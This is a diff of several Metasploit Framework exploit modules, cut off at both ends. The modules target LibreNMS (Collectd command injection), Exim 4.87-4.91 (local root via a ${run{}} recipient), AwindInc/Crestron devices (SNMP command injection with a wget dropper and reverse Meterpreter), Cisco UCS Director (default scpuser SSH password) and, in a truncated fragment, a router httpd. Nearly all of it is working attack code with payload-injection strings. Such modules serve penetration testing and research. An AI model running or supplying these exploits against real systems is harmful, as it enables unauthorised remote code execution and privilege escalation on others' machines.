if fingerprints.key?(fingerprint)
|
||||
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
|
||||
return fingerprints[fingerprint]["status"]
|
||||
else
|
||||
print_status("Couldn't reliably fingerprint the target.")
|
||||
end
|
||||
end
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Sending request')
|
||||
execute_cmdstager
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
shellcode = prepare_shellcode(cmd.to_s)
|
||||
send_request(shellcode)
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# Given there is no process continuation here, the httpd server will stop
|
||||
# functioning properly and we need to take care of proper restart
|
||||
# ourselves.
|
||||
print_status("Reloading httpd service")
|
||||
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
|
||||
else
|
||||
session.shell_command(reload_httpd_service)
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,231 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'LibreNMS Collectd Command Injection',
|
||||
'Description' => %q(
|
||||
This module exploits a command injection vulnerability in the
|
||||
Collectd graphing functionality in LibreNMS.
|
||||
|
||||
The `to` and `from` parameters used to define the range for
|
||||
a graph are sanitized using the `mysqli_escape_real_string()`
|
||||
function, which permits backticks. These parameters are used
|
||||
as part of a shell command that gets executed via the `passthru()`
|
||||
function, which can result in code execution.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Eldar Marcussen', # Vulnerability discovery
|
||||
'Shelby Pace' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-10669' ],
|
||||
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2019-07-15',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
|
||||
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
|
||||
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
|
||||
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
|
||||
|
||||
about_res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
|
||||
)
|
||||
|
||||
return Exploit::CheckCode::Detected unless about_res && about_res.code == 200
|
||||
|
||||
version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
|
||||
return Exploit::CheckCode::Detected unless version && version.length > 1
|
||||
vprint_status("LibreNMS version #{version[1]} detected")
|
||||
version = Gem::Version.new(version[1])
|
||||
|
||||
return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
|
||||
end
|
||||
|
||||
def login
|
||||
login_uri = normalize_uri(target_uri.path, 'login')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
|
||||
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
|
||||
|
||||
cookies = res.get_cookies
|
||||
login_res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => login_uri,
|
||||
'cookie' => cookies,
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
|
||||
|
||||
cookies = login_res.get_cookies
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'cookie' => cookies
|
||||
)
|
||||
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')
|
||||
|
||||
print_status('Successfully logged into LibreNMS. Storing credentials...')
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
login_res.get_cookies
|
||||
end
|
||||
|
||||
def get_version
|
||||
uri = normalize_uri(target_uri.path, 'about')
|
||||
|
||||
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
|
||||
fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
|
||||
|
||||
html = res.get_html_document
|
||||
version = html.search('tr//td//a')
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
|
||||
version.each do |e|
|
||||
return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
|
||||
end
|
||||
end
|
||||
|
||||
def get_device_ids
|
||||
version = get_version
|
||||
print_status("LibreNMS version: #{version}")
|
||||
|
||||
if version && Gem::Version.new(version) < Gem::Version.new('1.50')
|
||||
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
|
||||
format = '+list_detail'
|
||||
else
|
||||
dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
|
||||
format = 'list_detail'
|
||||
end
|
||||
|
||||
dev_res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => dev_uri,
|
||||
'cookie' => @cookies,
|
||||
'vars_post' =>
|
||||
{
|
||||
'id' => 'devices',
|
||||
'format' => format,
|
||||
'current' => '1',
|
||||
'sort[hostname]' => 'asc',
|
||||
'rowCount' => 50
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
|
||||
|
||||
json = JSON.parse(dev_res.body)
|
||||
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
|
||||
|
||||
json = json['rows']
|
||||
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
|
||||
|
||||
hosts = []
|
||||
json.each do |row|
|
||||
hostname = row['hostname']
|
||||
next if hostname.nil?
|
||||
|
||||
id = hostname.match('href=\"device\/device=(\d+)\/')
|
||||
next unless id && id.length > 1
|
||||
hosts << id[1]
|
||||
end
|
||||
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?
|
||||
|
||||
hosts
|
||||
end
|
||||
|
||||
def get_plugin_info(id)
|
||||
uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")
|
||||
|
||||
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
|
||||
return unless res && res.code == 200
|
||||
|
||||
html = res.get_html_document
|
||||
plugin_link = html.at('div[@class="col-md-3"]//a/@href')
|
||||
return if plugin_link.nil?
|
||||
|
||||
plugin_link = plugin_link.value
|
||||
plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
|
||||
c_plugin = plugin_hash['c_plugin']
|
||||
c_type = plugin_hash['c_type']
|
||||
c_type_instance = plugin_hash['c_type_instance'] || ''
|
||||
c_plugin_instance = plugin_hash['c_plugin_instance'] || ''
|
||||
|
||||
return c_plugin, c_type, c_plugin_instance, c_type_instance
|
||||
end
|
||||
|
||||
def exploit
|
||||
req_uri = normalize_uri(target_uri.path, 'graph.php')
|
||||
@cookies = login
|
||||
|
||||
dev_ids = get_device_ids
|
||||
|
||||
collectd_device = -1
|
||||
plugin_name = nil
|
||||
plugin_type = nil
|
||||
plugin_instance = nil
|
||||
plugin_type_inst = nil
|
||||
dev_ids.each do |device|
|
||||
collectd_device = device
|
||||
plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
|
||||
break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
|
||||
collectd_device = -1
|
||||
end
|
||||
|
||||
fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
|
||||
print_status("Sending payload via device #{collectd_device}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => req_uri,
|
||||
'cookie' => @cookies,
|
||||
'vars_get' =>
|
||||
{
|
||||
'device' => collectd_device,
|
||||
'type' => 'device_collectd',
|
||||
'to' => Rex::Text.rand_text_numeric(10),
|
||||
'from' => "1`#{payload.encoded}`",
|
||||
'c_plugin' => plugin_name,
|
||||
'c_type' => plugin_type,
|
||||
'c_plugin_instance' => plugin_instance,
|
||||
'c_type_instance' => plugin_type_inst
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
+3
@@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::SSH
|
||||
include Msf::Exploit::Deprecated
|
||||
|
||||
moved_from 'exploit/linux/ssh/ubiquiti_airos_file_upload'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
@@ -0,0 +1,261 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'expect'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
|
||||
Improper validation of recipient address in deliver_message()
|
||||
function in /src/deliver.c may lead to command execution with root privileges
|
||||
(CVE-2019-10149).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qualys', # Discovery and PoC (@qualys)
|
||||
'Dennis Herrmann', # Working exploit (@dhn)
|
||||
'Marco Ivaldi', # Working exploit (@0xdea)
|
||||
'Guillaume André' # Metasploit module (@yaumn_)
|
||||
],
|
||||
'DisclosureDate' => '2019-06-05',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Exim 4.87 - 4.91',
|
||||
lower_version: Gem::Version.new('4.87'),
|
||||
upper_version: Gem::Version.new('4.91')
|
||||
]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependSetgid' => true,
|
||||
'PrependSetuid' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-10149' ],
|
||||
[ 'EDB', '46996' ],
|
||||
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),
|
||||
OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def encode_command(cmd)
|
||||
'\x' + cmd.unpack('H2' * cmd.length).join('\x')
|
||||
end
|
||||
|
||||
def open_tcp_connection
|
||||
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
|
||||
params = Rex::Socket::Parameters.new({
|
||||
'PeerHost' => '127.0.0.1',
|
||||
'PeerPort' => datastore['EXIMPORT']
|
||||
})
|
||||
begin
|
||||
socket = socket_subsystem.create_tcp_client_channel(params)
|
||||
rescue => e
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
"are you sure exim is listening on this port? (see EXIMPORT)")
|
||||
raise e
|
||||
end
|
||||
return socket_subsystem, socket
|
||||
end
|
||||
|
||||
def inject_payload(payload)
|
||||
if session.type == 'meterpreter'
|
||||
socket_subsystem, socket = open_tcp_connection
|
||||
|
||||
tcp_conversation = {
|
||||
nil => /220/,
|
||||
'helo localhost' => /250/,
|
||||
"MAIL FROM:<>" => /250/,
|
||||
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
|
||||
'DATA' => /354/,
|
||||
'Received:' => nil,
|
||||
'.' => /250/
|
||||
}
|
||||
|
||||
begin
|
||||
tcp_conversation.each do |line, pattern|
|
||||
Timeout.timeout(datastore['SendExpectTimeout']) do
|
||||
if line
|
||||
if line == 'Received:'
|
||||
for i in (1..31)
|
||||
socket.puts("#{line} #{i}\n")
|
||||
end
|
||||
else
|
||||
socket.puts("#{line}\n")
|
||||
end
|
||||
end
|
||||
if pattern
|
||||
socket.expect(pattern)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
|
||||
ensure
|
||||
socket.puts("QUIT\n")
|
||||
socket.close
|
||||
socket_subsystem.shutdown
|
||||
end
|
||||
else
|
||||
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
|
||||
"&& echo true").chomp.to_s == 'true'
|
||||
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
|
||||
end
|
||||
|
||||
bash_script = %|
|
||||
#!/bin/bash
|
||||
|
||||
exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
|
||||
read -u 3 && echo $REPLY
|
||||
echo "helo localhost" >&3
|
||||
read -u 3 && echo $REPLY
|
||||
echo "mail from:<>" >&3
|
||||
read -u 3 && echo $REPLY
|
||||
echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
|
||||
read -u 3 && echo $REPLY
|
||||
echo "data" >&3
|
||||
read -u 3 && echo $REPLY
|
||||
for i in $(seq 1 30); do
|
||||
echo 'Received: $i' >&3
|
||||
done
|
||||
echo "." >&3
|
||||
read -u 3 && echo $REPLY
|
||||
echo "quit" >&3
|
||||
read -u 3 && echo $REPLY
|
||||
|
|
||||
|
||||
@bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
|
||||
write_file(@bash_script_path, bash_script)
|
||||
register_file_for_cleanup(@bash_script_path)
|
||||
chmod(@bash_script_path)
|
||||
cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
|
||||
end
|
||||
|
||||
print_status('Payload sent, wait a few seconds...')
|
||||
Rex.sleep(5)
|
||||
end
|
||||
|
||||
def check_for_bash
|
||||
unless command_exists?('/bin/bash')
|
||||
fail_with(Failure::NotFound, 'bash not found')
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == 'meterpreter'
|
||||
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
|
||||
session.fs.file.rm(@payload_path)
|
||||
else
|
||||
session.shell_command_token("rm -f #{@payload_path}")
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
if session.type == 'meterpreter'
|
||||
begin
|
||||
socket_subsystem, socket = open_tcp_connection
|
||||
rescue
|
||||
return CheckCode::Safe
|
||||
end
|
||||
res = socket.gets
|
||||
socket.close
|
||||
socket_subsystem.shutdown
|
||||
else
|
||||
check_for_bash
|
||||
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
|
||||
"(read -u 3 && echo $REPLY) || echo false'")
|
||||
if res == 'false'
|
||||
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
|
||||
"are you sure exim is listening on this port? (see EXIMPORT)")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if res =~ /Exim ([0-9\.]+)/i
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("Found exim version: #{version}")
|
||||
if version >= target[:lower_version] && version <= target[:upper_version]
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
||||
end
|
||||
end
|
||||
|
||||
unless writable?(base_dir)
|
||||
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
||||
end
|
||||
|
||||
if nosuid?(base_dir)
|
||||
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
|
||||
end
|
||||
|
||||
unless datastore['PrependSetuid'] && datastore['PrependSetgid']
|
||||
fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
|
||||
'to get root privileges.')
|
||||
end
|
||||
|
||||
if session.type == 'shell'
|
||||
check_for_bash
|
||||
end
|
||||
|
||||
@payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
|
||||
write_file(@payload_path, payload.encoded_exe)
|
||||
register_file_for_cleanup(@payload_path)
|
||||
inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
|
||||
"chmod 4755 #{@payload_path}'"))
|
||||
|
||||
unless setuid?(@payload_path)
|
||||
fail_with(Failure::Unknown, "Couldn't escalate privileges")
|
||||
end
|
||||
|
||||
cmd_exec("#{@payload_path} & echo ")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,181 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AwindInc SNMP Service Command Injection",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
|
||||
A valid SNMP read-write community is required to exploit this vulnerability.
|
||||
|
||||
The following devices are known to be affected by this issue:
|
||||
|
||||
* Crestron Airmedia AM-100 <= version 1.5.0.4
|
||||
* Crestron Airmedia AM-101 <= version 2.5.0.12
|
||||
* Awind WiPG-1600w <= version 2.0.1.8
|
||||
* Awind WiPG-2000d <= version 2.1.6.2
|
||||
* Barco wePresent 2000 <= version 2.1.5.7
|
||||
* Newline Trucast 2 <= version 2.1.0.5
|
||||
* Newline Trucast 3 <= version 2.1.3.7
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-16709'],
|
||||
['URL', 'https://github.com/QKaiser/awind-research'],
|
||||
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
|
||||
],
|
||||
'DisclosureDate' => '2019-03-27',
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_ARMLE],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {
|
||||
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
|
||||
}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'CmdStagerFlavor' => %w[wget],
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
begin
|
||||
connect_snmp
|
||||
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
|
||||
print_status("Target system is #{sys_description}")
|
||||
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
|
||||
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
|
||||
case model
|
||||
when 'AM-100', 'AM-101'
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
# TODO: insert description check for other vulnerable models (that I don't have)
|
||||
# In the meantime, we return 'safe'.
|
||||
return CheckCode::Safe
|
||||
end
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def inject_payload(cmd)
|
||||
begin
|
||||
connect_snmp
|
||||
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
|
||||
resp = snmp.set(varbind)
|
||||
if resp.error_status == :noError
|
||||
print_status("Injection successful")
|
||||
else
|
||||
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
|
||||
end
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
def trigger
|
||||
begin
|
||||
connect_snmp
|
||||
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
|
||||
resp = snmp.set(varbind)
|
||||
if resp.error_status == :noError
|
||||
print_status("Trigger successful")
|
||||
else
|
||||
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
|
||||
end
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
# The payload must start with a valid FTP URI otherwise the injection point is not reached
|
||||
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
|
||||
|
||||
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
|
||||
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
|
||||
# keep our reverse shell opened :)
|
||||
cmd << "$(pkill -f /etc/reboot.sh)"
|
||||
|
||||
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
|
||||
cmd << "A" * (255-cmd.length)
|
||||
|
||||
# we inject our payload in camFWUpgradeFTPURL
|
||||
print_status("Injecting payload")
|
||||
inject_payload(cmd)
|
||||
|
||||
# we trigger the firmware download via FTP, which will end up calling this
|
||||
# "/bin/getRemoteURL.sh %s %s %s %d"
|
||||
print_status("Triggering call")
|
||||
trigger
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,139 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'net/ssh'
|
||||
require 'net/ssh/command_stream'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Cisco UCS Director default scpuser password",
|
||||
'Description' => %q{
|
||||
This module abuses a known default password on Cisco UCS Director. The 'scpuser'
|
||||
has the password of 'scpuser', and allows an attacker to login to the virtual appliance
|
||||
via SSH.
|
||||
This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
|
||||
Note that Cisco also mentions in their advisory that their IMC Supervisor and
|
||||
UCS Director Express are also affected by these vulnerabilities, but this module
|
||||
was not tested with those products.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-1935' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco UCS Director < 6.7.2.0', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 21 2019'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22),
|
||||
OptString.new('USERNAME', [true, "Username to login with", 'scpuser']),
|
||||
OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']),
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:port => rport,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:password => pass,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(rhost, user, opts)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
conn = Net::SSH::CommandStream.new(ssh)
|
||||
ssh = nil
|
||||
return conn
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
